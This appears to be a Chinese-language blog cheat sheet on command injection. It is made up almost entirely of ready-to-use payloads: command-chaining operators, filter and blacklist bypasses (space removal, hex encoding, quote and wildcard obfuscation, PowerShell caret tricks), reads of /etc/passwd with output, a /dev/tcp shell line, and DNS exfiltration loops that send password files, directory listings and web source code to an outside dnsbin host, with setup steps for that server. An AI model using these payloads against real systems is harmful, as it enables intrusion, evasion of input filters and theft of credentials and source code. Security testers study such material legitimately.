命令注入是一個安全漏洞,它使攻擊者可以在易受攻擊的應用程序中執行任意命令。
基本命令
root@micr067:~# cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin
鏈接命令
demo; ls
cat demo.txt && ls
cat demo.txt | ls
cat demo || ls # 當前面的命令執行失敗后面的命令才會執行
在命令內
cat demo.txt `cat /etc/passwd`
cat demo.txt $(cat /etc/passwd)
過濾器繞過
無空格繞過
僅適用於Linux。
root@micr067:/tmp# cat</etc/passwd root:x:0:0:root:/root:/bin/bash root@micr067:/tmp# {cat,/etc/passwd} root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin root@micr067:/tmp# cat$IFS/etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin root@micr067:/tmp# echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd RCE root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin root@micr067:/tmp# X=$'uname\x20-a'&&$X Linux micr067 5.4.0-kali4-amd64 #1 SMP Debian 5.4.19-1kali1 (2020-02-17) x86_64 GNU/Linux root@micr067:~# sh</dev/tcp/127.0.0.1/443
不帶空格,$或{}的命令執行-Linux(僅限Bash)
root@micr067:~# IFS=,;`cat<<<uname,-a` Linux micr067 5.4.0-kali4-amd64 #1 SMP Debian 5.4.19-1kali1 (2020-02-17) x86_64 GNU/Linux
僅適用於Windows。
ping%CommonProgramFiles:~10,-18%IP ping%PROGRAMFILES:~10,-5%IP
通過十六進制編碼繞過字符過濾
linux
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64" cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
xxd -r -p <<< 2f6574632f706173737764 cat `xxd -r -p <<< 2f6574632f706173737764`
xxd -r -ps <(echo 2f6574632f706173737764) cat `xxd -r -ps <(echo 2f6574632f706173737764)`
繞過字符過濾器
不帶反斜杠和斜杠的命令執行-Linux bash
echo ${HOME:0:1} / cat ${HOME:0:1}etc${HOME:0:1}passwd root:x:0:0:root:/root:/bin/bash echo . | tr '!-0' '"-1' / tr '!-0' '"-1' <<< . / cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd root:x:0:0:root:/root:/bin/bash
繞過列入黑名單的單詞
單引號繞過
w'h'o'am'i
雙引號繞過
w"h"o"am"i
用反斜杠和斜杠繞過
w\ho\am\i /\b\i\n/////s\h
使用 $@ 繞過
who$@ami
可變擴展繞過
/???/c?t /???/p?ss??
test=/ehhh/hmtc/pahhh/hmsswd cat ${test//hhh\/hm/} cat ${test//hh??hm/}
用通配符繞過
powershell C:\*\*2\n??e*d.*? # notepad @^p^o^w^e^r^shell c:\*\*32\c*?c.e?e # calc
win7:
@^p^o^w^e^r^shell c:\*\*32\c*?c.e?e
win10:
@^p^o^w^e^r^shell C:\W*?w?\S*?32\?a?c.e?e @^p^o^w^e^r^shell C:\W*?\S*?2\?a?c.e?e
基於時間的數據滲透
提取數據:按字符分配char
根據是否執行sleep 5來判斷該用戶名是否存在。
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi time if [ $(whoami|cut -c 1) == r ]; then sleep 5; fi
基於DNS的數據滲透
dnsbin
項目地址:https://github.com/ettic-team/dnsbin
DNSBin用於測試通過DNS進行的數據滲透,並在環境存在重大限制時幫助測試RCE或XXE等漏洞。
先將項目拷貝到本地 git clone https://github.com/ettic-team/dnsbin
1、首先創建兩條A記錄,然后創建兩條NS記錄,其值分別設置為兩條A記錄的域名。
2、將dnsbin\web目錄拷貝到公網服務器上,然后安裝nodejs環境。 安裝nodejs:
wget https://nodejs.org/dist/v10.15.0/node-v10.15.0-linux-x64.tar.xz
第二步:解壓
tar -xf node-v10.15.0-linux-x64.tar.xz
第三步:設置全局變量
1、打開文件 vim /etc/profile 2、最后一行放入 PATH=$PATH:/opt/node-v10.15.0/bin
第四步:刷新配置文件source /etc/profile
最后測試
3、然后使用npm安裝forevernpm install -g forever
4、開啟web服務 測試:
for i in $(ls /root) ; do host "$i.7ee8236f04d5cfa676c3.d.zhack.ca"; done
1、先訪問我們搭建的服務http://www.payload.ltd,會自動生成一個子域名。 2. 然后我們嘗試執行一個簡單的 'ls' for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
然后,返回到我們的頁面,可以看到已經接收並列出了我們root目錄的內容。
嘗試 將 /etc/passwd 中的內容逐行列出來:
for i in $(cat /etc/passwd) ; do host "$i.7ee8236f04d5cfa676c3.d.zhack.ca"; done
逐行讀取源代碼:
for i in $(ls /var/www/html) ; do host "$i.7ee8236f04d5cfa676c3.d.zhack.ca"; done for i in $(cat /var/www/html/webacoo.php) ; do host "$i.7ee8236f04d5cfa676c3.d.zhack.ca"; done
用於檢查基於DNS的數據滲透的在線工具:
http://pingb.in/914ac82106dcb554ad385266b15b
參考鏈接:
https://www.cnblogs.com/chenhaoyu/p/10237505.html
https://www.jianshu.com/p/7dffeb87bba9
https://www.cnblogs.com/sevck/p/6072721.html